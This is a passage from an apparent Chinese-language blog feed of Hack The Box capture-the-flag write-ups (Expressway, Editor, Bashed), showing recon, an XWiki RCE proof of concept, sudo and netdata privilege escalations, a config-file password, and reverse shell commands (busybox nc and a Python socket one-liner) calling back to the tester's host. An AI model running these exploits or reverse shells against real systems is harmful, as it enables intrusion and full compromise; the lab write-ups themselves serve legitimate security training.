punctuation">)</span>Rejected<span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>.: <span class="token number">0</span>/8060928 <span class="token punctuation">(</span><span class="token number">0.00</span>%<span class="token punctuation">)</span>Restore.Point<span class="token punctuation">..</span><span class="token punctuation">..</span>: <span class="token number">8044544</span>/14344384 <span class="token punctuation">(</span><span class="token number">56.08</span>%<span class="token punctuation">)</span>Restore.Sub.<span class="token comment">#1...: Salt:0 Amplifier:0-1 Iteration:0-1</span>Candidate.Engine.: Device GeneratorCandidates.<span class="token comment">#1....: freaky94 -> foureight</span>Hardware.Mon.<span class="token comment">#1..: Temp: 68c Util: 67%</span>Started: Fri Oct  <span class="token number">3</span> <span class="token number">21</span>:08:42 <span class="token number">2025</span>Stopped: Fri Oct  <span class="token number">3</span> <span class="token number">21</span>:08:54 <span class="token number">2025</span></code></pre><h3 id="SSH登录"><a href="#SSH登录" class="headerlink" title="SSH登录"></a>SSH登录</h3><p>使用ike-scan暴力破解出的ID和hash破解出的密码进行ssh登录</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ssh</span> ike@10.10.11.87                         The authenticity of <span class="token function">host</span> <span class="token string">'10.10.11.87 (10.10.11.87)'</span> can't be established.<span class="token operator">&lt;</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token operator">></span>ike@expressway:~$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ike<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ike<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>ike<span class="token punctuation">)</span>,13<span class="token punctuation">(</span>proxy<span class="token punctuation">)</span></code></pre><h3 id="本地信息收集"><a href="#本地信息收集" class="headerlink" title="本地信息收集"></a>本地信息收集</h3><p>由于登录的账号在proxy 组里，可以使用find命令查找proxy组权限的目录，在<code>/var/log/squid/access.log.1</code> 中可以找到一个子域名<code>offramp.expressway.htb</code> ，查看sudo 版本，可以发现版本为1.9.17</p><pre class="language-bash" data-language="bash"><code class="language-bash">ike@expressway:~$ <span class="token function">find</span> / <span class="token parameter variable">-group</span> proxy <span class="token parameter variable">-type</span> d <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null/run/squid/var/spool/squid/var/log/squidike@expressway:/var/log/squid$ <span class="token function">cat</span> access.log.1 <span class="token operator">|</span> <span class="token function">grep</span> http<span class="token number">1753229688.902</span>      <span class="token number">0</span> <span class="token number">192.168</span>.68.50 TCP_DENIED/403 <span class="token number">3807</span> GET http://www.google.com/ - HIER_NONE/- text/html<span class="token number">1753229688.902</span>      <span class="token number">0</span> <span class="token number">192.168</span>.68.50 TCP_DENIED/403 <span class="token number">3807</span> GET http://offramp.expressway.htb - HIER_NONE/- text/html<span class="token number">1753229689.058</span>      <span class="token number">0</span> <span class="token number">192.168</span>.68.50 TCP_DENIED/403 <span class="token number">381</span> HEAD http://www.google.com/ - HIER_NONE/- text/htmlike@expressway:~$ <span class="token function">sudo</span> <span class="token parameter variable">-V</span>Sudo version <span class="token number">1.9</span>.17Sudoers policy plugin version <span class="token number">1.9</span>.17Sudoers <span class="token function">file</span> grammar version <span class="token number">50</span>Sudoers I/O plugin version <span class="token number">1.9</span>.17Sudoers audit plugin version <span class="token number">1.9</span>.17</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>使用搜索引擎检索sudo 1.9.17 的exploit 可以找到<a href="https://www.exploit-db.com/exploits/52354">CVE-2025-32462</a> 使用获取到的子域名可以成功利用</p><img src="/posts/84373dcc/image-20251003212605446.png" class="" title="Google"><pre class="language-bash" data-language="bash"><code class="language-bash">ike@expressway:~$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span> <span class="token parameter variable">-h</span> offramp.expressway.htbMatching Defaults entries <span class="token keyword">for</span> ike on offramp:    env_reset, mail_badpass, <span class="token assign-left variable">secure_path</span><span class="token operator">=</span>/usr/local/sbin<span class="token punctuation">\</span>:/usr/local/bin<span class="token punctuation">\</span>:/usr/sbin<span class="token punctuation">\</span>:/usr/bin<span class="token punctuation">\</span>:/sbin<span class="token punctuation">\</span>:/bin, use_ptyUser ike may run the following commands on offramp:    <span class="token punctuation">(</span>root<span class="token punctuation">)</span> NOPASSWD: ALL    <span class="token punctuation">(</span>root<span class="token punctuation">)</span> NOPASSWD: ALLike@expressway:~$ <span class="token function">sudo</span> <span class="token parameter variable">-i</span> <span class="token parameter variable">-h</span> offramp.expressway.htbroot@expressway:~<span class="token comment"># id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>flag1</td><td>&#x2F;home&#x2F;ike&#x2F;user.txt</td></tr><tr><td>flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.eggjarduroat{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/84373dcc/75c168f01f04e5f256838733b77f13ec.png&quot; class=&quot;eggjarduroat&quot; alt=&quot;HTB-Expressway&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="CVE" scheme="https://ry0ma24.github.io/tags/CVE/"/>
    
    <category term="暴力破解" scheme="https://ry0ma24.github.io/tags/%E6%9A%B4%E5%8A%9B%E7%A0%B4%E8%A7%A3/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Editor</title>
    <link href="https://ry0ma24.github.io/posts/fe14f7bb.html"/>
    <id>https://ry0ma24.github.io/posts/fe14f7bb.html</id>
    <published>2025-08-18T13:17:01.000Z</published>
    <updated>2025-08-18T13:20:03.516Z</updated>
    
    <content type="html"><![CDATA[<style>.mrwcvjnhdulr{zoom:50%;}</style><img src="/posts/fe14f7bb/ba9dec0d022d3c3b6a96aa5dba4772c7-1755522406355-3.png" class="mrwcvjnhdulr" alt="HTB-Editor"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.11.80 <span class="token parameter variable">-sC</span> <span class="token parameter variable">-sV</span> -p- --min-rate <span class="token number">1000</span>Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-08-18 <span class="token number">19</span>:58 CSTWarning: <span class="token number">10.10</span>.11.80 giving up on port because retransmission cap hit <span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span>.Nmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.11.80Host is up <span class="token punctuation">(</span><span class="token number">0</span>.12s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">65405</span> closed tcp ports <span class="token punctuation">(</span>conn-refused<span class="token punctuation">)</span>, <span class="token number">127</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT     STATE SERVICE VERSION<span class="token number">22</span>/tcp   <span class="token function">open</span>  <span class="token function">ssh</span>     OpenSSH <span class="token number">8</span>.9p1 Ubuntu 3ubuntu0.13 <span class="token punctuation">(</span>Ubuntu Linux<span class="token punctuation">;</span> protocol <span class="token number">2.0</span><span class="token punctuation">)</span><span class="token operator">|</span> ssh-hostkey: <span class="token operator">|</span>   <span class="token number">256</span> 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f <span class="token punctuation">(</span>ECDSA<span class="token punctuation">)</span><span class="token operator">|</span>_  <span class="token number">256</span> <span class="token number">64</span>:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 <span class="token punctuation">(</span>ED25519<span class="token punctuation">)</span><span class="token number">80</span>/tcp   <span class="token function">open</span>  http    nginx <span class="token number">1.18</span>.0 <span class="token punctuation">(</span>Ubuntu<span class="token punctuation">)</span><span class="token operator">|</span>_http-server-header: nginx/1.18.0 <span class="token punctuation">(</span>Ubuntu<span class="token punctuation">)</span><span class="token operator">|</span>_http-title: Did not follow redirect to http://editor.htb/<span class="token number">8080</span>/tcp <span class="token function">open</span>  http    Jetty <span class="token number">10.0</span>.20<span class="token operator">|</span> http-title: XWiki - Main - Intro<span class="token operator">|</span>_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/<span class="token operator">|</span>_http-server-header: Jetty<span class="token punctuation">(</span><span class="token number">10.0</span>.20<span class="token punctuation">)</span><span class="token operator">|</span> http-robots.txt: <span class="token number">50</span> disallowed entries <span class="token punctuation">(</span><span class="token number">15</span> shown<span class="token punctuation">)</span><span class="token operator">|</span> /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ <span class="token operator">|</span> /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ <span class="token operator">|</span> /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ <span class="token operator">|</span> /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ <span class="token operator">|</span> /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ <span class="token operator">|</span>_/xwiki/bin/undelete/<span class="token operator">|</span>_http-open-proxy: Proxy might be redirecting requests<span class="token operator">|</span> http-webdav-scan: <span class="token operator">|</span>   Server Type: Jetty<span class="token punctuation">(</span><span class="token number">10.0</span>.20<span class="token punctuation">)</span><span class="token operator">|</span>   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK<span class="token operator">|</span>_  WebDAV type: Unknown<span class="token operator">|</span> http-cookie-flags: <span class="token operator">|</span>   /: <span class="token operator">|</span>     JSESSIONID: <span class="token operator">|</span>_      httponly flag not <span class="token builtin class-name">set</span><span class="token operator">|</span> http-methods: <span class="token operator">|</span>_  Potentially risky methods: PROPFIND LOCK UNLOCKService Info: OS: Linux<span class="token punctuation">;</span> CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">84.32</span> seconds</code></pre><p>添加本地域名映射</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token builtin class-name">echo</span> <span class="token string">'10.10.11.80 editor.htb'</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> <span class="token parameter variable">-a</span> /etc/hosts  </code></pre><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>访问 <a href="http://editor.htb:8080/xwiki/bin/view/Main/">http://editor.htb:8080/xwiki/bin/view/Main/</a> 可以看到目标是XWiki 15.10.8 ，通过Google可以检索到CVE-2025-24893，下载poc</p><img src="/posts/fe14f7bb/image-20250818201422605.png" class="" title="image-20250818201422605"><pre class="language-bash" data-language="bash"><code class="language-bash">$ python3 CVE-2025-24893.py <span class="token parameter variable">--url</span> <span class="token string">"http://editor.htb:8080/xwiki"</span> <span class="token parameter variable">--command</span> <span class="token string">"id"</span><span class="token punctuation">[</span>*<span class="token punctuation">]</span> Sending request to web server<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Output:<span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">997</span><span class="token punctuation">(</span>xwiki<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">997</span><span class="token punctuation">(</span>xwiki<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">997</span><span class="token punctuation">(</span>xwiki<span class="token punctuation">)</span>$ python3 CVE-2025-24893.py <span class="token parameter variable">--url</span> <span class="token string">"http://editor.htb:8080/xwiki"</span> <span class="token parameter variable">--command</span> <span class="token string">"busybox nc 10.10.16.19 7777 -e /bin/bash"</span><span class="token punctuation">[</span>*<span class="token punctuation">]</span> Sending request to web server<span class="token punctuation">[</span>+<span class="token punctuation">]</span> Output:</code></pre><p>GetShell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">7777</span>                                                                   Listening on <span class="token number">0.0</span>.0.0 <span class="token number">7777</span>Connection received on <span class="token number">10.10</span>.11.80 <span class="token number">58828</span><span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">997</span><span class="token punctuation">(</span>xwiki<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">997</span><span class="token punctuation">(</span>xwiki<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">997</span><span class="token punctuation">(</span>xwiki<span class="token punctuation">)</span></code></pre><h3 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h3><p>收集账号</p><pre class="language-none"><code class="language-none">xwiki@editor:&#x2F;usr&#x2F;lib&#x2F;xwiki$ ls &#x2F;homeoliver</code></pre><p>查找配置文件，可以找到一个密码</p><pre class="language-bash" data-language="bash"><code class="language-bash">xwiki@editor:/usr/lib/xwiki/WEB-INF$ <span class="token function">cat</span> hibernate.cfg.xml <span class="token operator">|</span> <span class="token function">grep</span> password<span class="token function">cat</span> hibernate.cfg.xml <span class="token operator">|</span> <span class="token function">grep</span> password    <span class="token operator">&lt;</span>property <span class="token assign-left variable">name</span><span class="token operator">=</span><span class="token string">"hibernate.connection.password"</span><span class="token operator">></span>theEd1t0rTeam9<span class="token operator"><span class="token file-descriptor important">9</span>&lt;</span>/property<span class="token operator">></span>   <span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span>    <span class="token operator">&lt;</span>property <span class="token assign-left variable">name</span><span class="token operator">=</span><span class="token string">"hibernate.connection.password"</span><span class="token operator">></span><span class="token operator">&lt;</span>/property<span class="token operator">></span></code></pre><p>使用账号oliver和配置文件中的密码登录ssh</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">ssh</span> oliver@editor.htb                  The authenticity of <span class="token function">host</span> <span class="token string">'editor.htb (10.10.11.80)'</span> can't be established.<span class="token operator">&lt;</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span> <span class="token operator">></span>Last login: Mon Aug <span class="token number">18</span> <span class="token number">12</span>:08:23 <span class="token number">2025</span> from <span class="token number">10.10</span>.16.19oliver@editor:~$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>oliver<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>oliver<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">(</span>oliver<span class="token punctuation">)</span>,999<span class="token punctuation">(</span>netdata<span class="token punctuation">)</span></code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>查找特殊权限的文件，找到一个<code>/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo</code> ,通过检索可以找到CVE-2024-32019</p><pre class="language-bash" data-language="bash"><code class="language-bash">oliver@editor:~$ <span class="token function">find</span> / <span class="token parameter variable">-user</span> root <span class="token parameter variable">-perm</span> /4000 <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo/opt/netdata/usr/libexec/netdata/plugins.d/ioping/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin/usr/bin/newgrp<span class="token operator">&lt;</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token punctuation">..</span><span class="token operator">></span>/usr/libexec/polkit-agent-helper-1</code></pre><img src="/posts/fe14f7bb/image-20250818205632670.png" class="" title="image-20250818205632670"><p>编译并上传到目标，执行 <code> /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list</code>  成功提权</p><pre class="language-bash" data-language="bash"><code class="language-bash">oliver@editor:/tmp$ <span class="token function">wget</span> http://10.10.16.19:8000/nvme--2025-08-18 <span class="token number">12</span>:20:30--  http://10.10.16.19:8000/nvmeConnecting to <span class="token number">10.10</span>.16.19:8000<span class="token punctuation">..</span>. connected.HTTP request sent, awaiting response<span class="token punctuation">..</span>. <span class="token number">200</span> OKLength: <span class="token number">16048</span> <span class="token punctuation">(</span>16K<span class="token punctuation">)</span> <span class="token punctuation">[</span>application/octet-stream<span class="token punctuation">]</span>Saving to: ‘nvme’nvme                   <span class="token number">100</span>%<span class="token punctuation">[</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">></span><span class="token punctuation">]</span>  <span class="token number">15</span>.67K  --.-KB/s    <span class="token keyword">in</span> <span class="token number">0</span>.09s   <span class="token number">2025</span>-08-18 <span class="token number">12</span>:20:31 <span class="token punctuation">(</span><span class="token number">176</span> KB/s<span class="token punctuation">)</span> - ‘nvme’ saved <span class="token punctuation">[</span><span class="token number">16048</span>/16048<span class="token punctuation">]</span>oliver@editor:/tmp$ <span class="token function">chmod</span> +x /tmp/nvmeoliver@editor:/tmp$ <span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PATH</span></span><span class="token operator">=</span>/tmp:<span class="token environment constant">$PATH</span>oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-listroot@editor:/tmp<span class="token comment"># id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">(</span>root<span class="token punctuation">)</span>,999<span class="token punctuation">(</span>netdata<span class="token punctuation">)</span>,1000<span class="token punctuation">(</span>oliver<span class="token punctuation">)</span></code></pre><table><thead><tr><th>Flag</th><th>Path</th></tr></thead><tbody><tr><td>flag1</td><td>&#x2F;home&#x2F;oliver&#x2F;user.txt</td></tr><tr><td>flag2</td><td>&#x2F;root&#x2F;root.txt</td></tr></tbody></table>]]></content>
    
    
    <summary type="html">&lt;style&gt;.mrwcvjnhdulr{zoom:50%;}&lt;/style&gt;&lt;img src=&quot;/posts/fe14f7bb/ba9dec0d022d3c3b6a96aa5dba4772c7-1755522406355-3.png&quot; class=&quot;mrwcvjnhdulr&quot; alt=&quot;HTB-Editor&quot;&gt;</summary>
    
    
    
    <category term="Hackthebox" scheme="https://ry0ma24.github.io/categories/Hackthebox/"/>
    
    
    <category term="CVE" scheme="https://ry0ma24.github.io/tags/CVE/"/>
    
  </entry>
  
  <entry>
    <title>HTB-Bashed</title>
    <link href="https://ry0ma24.github.io/posts/f52f847.html"/>
    <id>https://ry0ma24.github.io/posts/f52f847.html</id>
    <published>2025-04-21T14:53:35.000Z</published>
    <updated>2025-04-25T08:44:00.912Z</updated>
    
    <content type="html"><![CDATA[<style>.rkvbvnenutql{zoom:50%;}</style><img src="/posts/f52f847/0f058b73659ca043de9f5240abd651ca.png" class="rkvbvnenutql" alt="Bashed"><span id="more"></span><table><thead><tr><th>OS</th><th>Difficulty</th></tr></thead><tbody><tr><td>Linux</td><td>Easy</td></tr></tbody></table><h3 id="Nmap-Scan"><a href="#Nmap-Scan" class="headerlink" title="Nmap Scan"></a>Nmap Scan</h3><pre class="language-bash" data-language="bash"><code class="language-bash">$ nmap <span class="token number">10.10</span>.10.68 <span class="token parameter variable">-T4</span> -p- --min-rate <span class="token number">1000</span> <span class="token parameter variable">-sV</span> <span class="token parameter variable">-sC</span>      Starting Nmap <span class="token number">7</span>.94SVN <span class="token punctuation">(</span> https://nmap.org <span class="token punctuation">)</span> at <span class="token number">2025</span>-04-21 <span class="token number">22</span>:53 CSTWarning: <span class="token number">10.10</span>.10.68 giving up on port because retransmission cap hit <span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span>.Nmap scan report <span class="token keyword">for</span> <span class="token number">10.10</span>.10.68Host is up <span class="token punctuation">(</span><span class="token number">0</span>.098s latency<span class="token punctuation">)</span>.Not shown: <span class="token number">47313</span> closed tcp ports <span class="token punctuation">(</span>conn-refused<span class="token punctuation">)</span>, <span class="token number">18221</span> filtered tcp ports <span class="token punctuation">(</span>no-response<span class="token punctuation">)</span>PORT   STATE SERVICE VERSION<span class="token number">80</span>/tcp <span class="token function">open</span>  http    Apache httpd <span class="token number">2.4</span>.18 <span class="token variable"><span class="token punctuation">((</span>Ubuntu<span class="token punctuation">))</span></span><span class="token operator">|</span>_http-title: Arrexel's Development SiteService detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="token builtin class-name">.</span>Nmap done: <span class="token number">1</span> IP address <span class="token punctuation">(</span><span class="token number">1</span> <span class="token function">host</span> up<span class="token punctuation">)</span> scanned <span class="token keyword">in</span> <span class="token number">237.89</span> seconds</code></pre><p>访问80端口，存在站点</p><img src="/posts/f52f847/image-20250421235102449.png" class="" title="phpbash"><h3 id="FUZZ"><a href="#FUZZ" class="headerlink" title="FUZZ"></a>FUZZ</h3><p>使用ffuf猜解目录，找到dev目录</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ ffuf <span class="token parameter variable">-w</span> /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ <span class="token parameter variable">-u</span> <span class="token string">'http://10.10.10.68/FUZZ'</span>  <span class="token parameter variable">-ic</span> <span class="token parameter variable">-t</span> <span class="token number">100</span>         /<span class="token string">'___\  /'</span>___<span class="token punctuation">\</span>           /'___<span class="token punctuation">\</span>              /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/ /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/  __  __  /<span class="token punctuation">\</span> <span class="token punctuation">\</span>__/              <span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span><span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span>/<span class="token punctuation">\</span> <span class="token punctuation">\</span>/<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> ,__<span class="token punctuation">\</span>              <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/ <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span> <span class="token punctuation">\</span>_/               <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>   <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>  <span class="token punctuation">\</span> <span class="token punctuation">\</span>____/  <span class="token punctuation">\</span> <span class="token punctuation">\</span>_<span class="token punctuation">\</span>                 <span class="token punctuation">\</span>/_/    <span class="token punctuation">\</span>/_/   <span class="token punctuation">\</span>/___/    <span class="token punctuation">\</span>/_/              v2.1.0-dev________________________________________________ :: Method           <span class="token builtin class-name">:</span> GET :: URL              <span class="token builtin class-name">:</span> http://10.10.10.68/FUZZ :: Wordlist         <span class="token builtin class-name">:</span> FUZZ: /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt :: Follow redirects <span class="token builtin class-name">:</span> <span class="token boolean">false</span> :: Calibration      <span class="token builtin class-name">:</span> <span class="token boolean">false</span> :: Timeout          <span class="token builtin class-name">:</span> <span class="token number">10</span> :: Threads          <span class="token builtin class-name">:</span> <span class="token number">100</span> :: Matcher          <span class="token builtin class-name">:</span> Response status: <span class="token number">200</span>-299,301,302,307,401,403,405,500________________________________________________                        <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">7743</span>, Words: <span class="token number">2956</span>, Lines: <span class="token number">162</span>, Duration: 213ms<span class="token punctuation">]</span>images                  <span class="token punctuation">[</span>Status: <span class="token number">301</span>, Size: <span class="token number">311</span>, Words: <span class="token number">20</span>, Lines: <span class="token number">10</span>, Duration: 242ms<span class="token punctuation">]</span>uploads                 <span class="token punctuation">[</span>Status: <span class="token number">301</span>, Size: <span class="token number">312</span>, Words: <span class="token number">20</span>, Lines: <span class="token number">10</span>, Duration: 100ms<span class="token punctuation">]</span>php                     <span class="token punctuation">[</span>Status: <span class="token number">301</span>, Size: <span class="token number">308</span>, Words: <span class="token number">20</span>, Lines: <span class="token number">10</span>, Duration: 86ms<span class="token punctuation">]</span>css                     <span class="token punctuation">[</span>Status: <span class="token number">301</span>, Size: <span class="token number">308</span>, Words: <span class="token number">20</span>, Lines: <span class="token number">10</span>, Duration: 580ms<span class="token punctuation">]</span>dev                     <span class="token punctuation">[</span>Status: <span class="token number">301</span>, Size: <span class="token number">308</span>, Words: <span class="token number">20</span>, Lines: <span class="token number">10</span>, Duration: 2534ms<span class="token punctuation">]</span>js                      <span class="token punctuation">[</span>Status: <span class="token number">301</span>, Size: <span class="token number">307</span>, Words: <span class="token number">20</span>, Lines: <span class="token number">10</span>, Duration: 150ms<span class="token punctuation">]</span>fonts                   <span class="token punctuation">[</span>Status: <span class="token number">301</span>, Size: <span class="token number">310</span>, Words: <span class="token number">20</span>, Lines: <span class="token number">10</span>, Duration: 99ms<span class="token punctuation">]</span>                        <span class="token punctuation">[</span>Status: <span class="token number">200</span>, Size: <span class="token number">7743</span>, Words: <span class="token number">2956</span>, Lines: <span class="token number">162</span>, Duration: 90ms<span class="token punctuation">]</span>server-status           <span class="token punctuation">[</span>Status: <span class="token number">403</span>, Size: <span class="token number">299</span>, Words: <span class="token number">22</span>, Lines: <span class="token number">12</span>, Duration: 116ms<span class="token punctuation">]</span></code></pre><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>访问dev目录，点击phpbash.php，发现控制台</p><img src="/posts/f52f847/image-20250421230255079.png" class="" title="image-20250421230255079"><p>可以成功执行命令，利用控制台反弹shell</p><img src="/posts/f52f847/image-20250421235020611.png" class="" title="image-20250421235020611"><pre class="language-bash" data-language="bash"><code class="language-bash">python <span class="token parameter variable">-c</span> <span class="token string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.33",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'</span></code></pre><p>成功接收到shell</p><pre class="language-bash" data-language="bash"><code class="language-bash">$ <span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">9001</span>                                   Listening on <span class="token number">0.0</span>.0.0 <span class="token number">9001</span>Connection received on <span class="token number">10.10</span>.10.68 <span class="token number">51968</span>www-data@bashed:/var/www/html$ <span class="token function">ls</span>about.html    css   fonts       js    single.htmlconfig.php    demo-images  images      php    style.csscontact.html  dev   index.html  scroll.html  uploads</code></pre><h3 id="权限提升"><a href="#权限提升" class="headerlink" title="权限提升"></a>权限提升</h3><p>查看sudo 配置，发现可以直接切换scriptmanager </p><pre class="language-bash" data-language="bash"><code class="language-bash">www-data@bashed:/var/www/html$ <span class="token function">sudo</span> <span class="token parameter variable">-l</span>Matching Defaults entries <span class="token keyword">for</span> www-data on bashed:    env_reset, mail_badpass,    <span class="token assign-left variable">secure_path</span><span class="token operator">=</span>/usr/local/sbin<span class="token punctuation">\</span>:/usr/local/bin<span class="token punctuation">\</span>:/usr/sbin<span class="token punctuation">\</span>:/usr/bin<span class="token punctuation">\</span>:/sbin<span class="token punctuation">\</span>:/bin<span class="token punctuation">\</span>:/snap/binUser www-data may run the following commands on bashed:    <span class="token punctuation">(</span>scriptmanager <span class="token builtin class-name">:</span> scriptmanager<span class="token punctuation">)</span> NOPASSWD: ALLwww-data@bashed:/var/www/html$ <span class="token function">sudo</span> <span class="token parameter variable">-u</span> scriptmanager <span class="token function">bash</span> <span class="token parameter variable">-i</span>scriptmanager@bashed:/scripts$ <span class="token function">id</span><span class="token assign-left variable">uid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>scriptmanager<span class="token punctuation">)</span> <span class="token assign-left variable">gid</span><span class="token operator">=</span><span class="token number">1001</span><span class="token punctuation">(</span>scriptmanager<span class="token punctuation">)</span> <span class="token assign-left variable">groups</span><span 